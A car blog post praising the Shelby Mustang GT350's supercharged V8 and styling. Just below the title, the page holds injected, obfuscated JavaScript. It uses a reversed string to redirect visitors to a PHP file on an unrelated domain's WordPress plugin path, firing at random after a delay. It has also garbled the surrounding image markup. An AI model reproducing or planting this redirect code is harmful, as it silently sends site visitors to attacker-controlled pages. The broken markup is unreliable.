Mustang GT350. A bit of Shelby action

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}×405.jpg” width=”728″ height=”405″ />

The Ford Mustang is fast becoming a pretty mega car in my mind. Whilst I’ve always admired the looks of the retro machine since its introduction way back in 2005, they were always a bit lacking in the trouser department. Things improved a touch with the refresh in 2010, but the engine was still a bit meek for my tastes.

Now though with the 2011 car, Ford has really hit the nail on the head. The 5.0 V8 is a beast and the whole package really makes sense. But now, there’s the GT350 from the stable of a certain Mr Shelby. With uprated power courtesy of a Whipple supercharger, plus some rather natty visual changes – though I could quite happily forgo the wheels on this white one – the GT350 is my kinda car.

Check out this quality video from the chaps at HotRod Magazine to learn more.

Categories: Road


Comments are closed